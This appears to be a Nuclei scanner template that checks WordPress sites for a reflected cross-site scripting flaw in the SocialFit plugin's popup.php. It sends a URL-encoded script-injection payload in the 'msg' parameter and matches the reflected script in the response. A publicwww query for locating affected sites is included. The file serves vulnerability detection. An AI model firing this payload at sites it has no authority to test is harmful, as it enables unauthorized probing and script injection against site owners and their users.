id: wp-socialfit-xss

info:
  name: WordPress SocialFit - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    WordPress SocialFit is vulnerable to a cross-site scripting vulnerability via the 'msg' parameter because it fails to properly sanitize user-supplied input.
  reference:
    - https://www.exploit-db.com/exploits/37481
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/socialfit"
  tags: wordpress,wp,xss,wp-plugin,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - '<title>Google+'
          - 'window.___gcfg'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220222f43f10c47c2bb087e48e44e4e44b37266435079b712906716b1bafdb5fa53022100d150a51f42e9f6c8a4c594505d606972bb617f1108c9e8cafb09ebfc0a29bd66:922c64590222798bb761d5b6d8e72950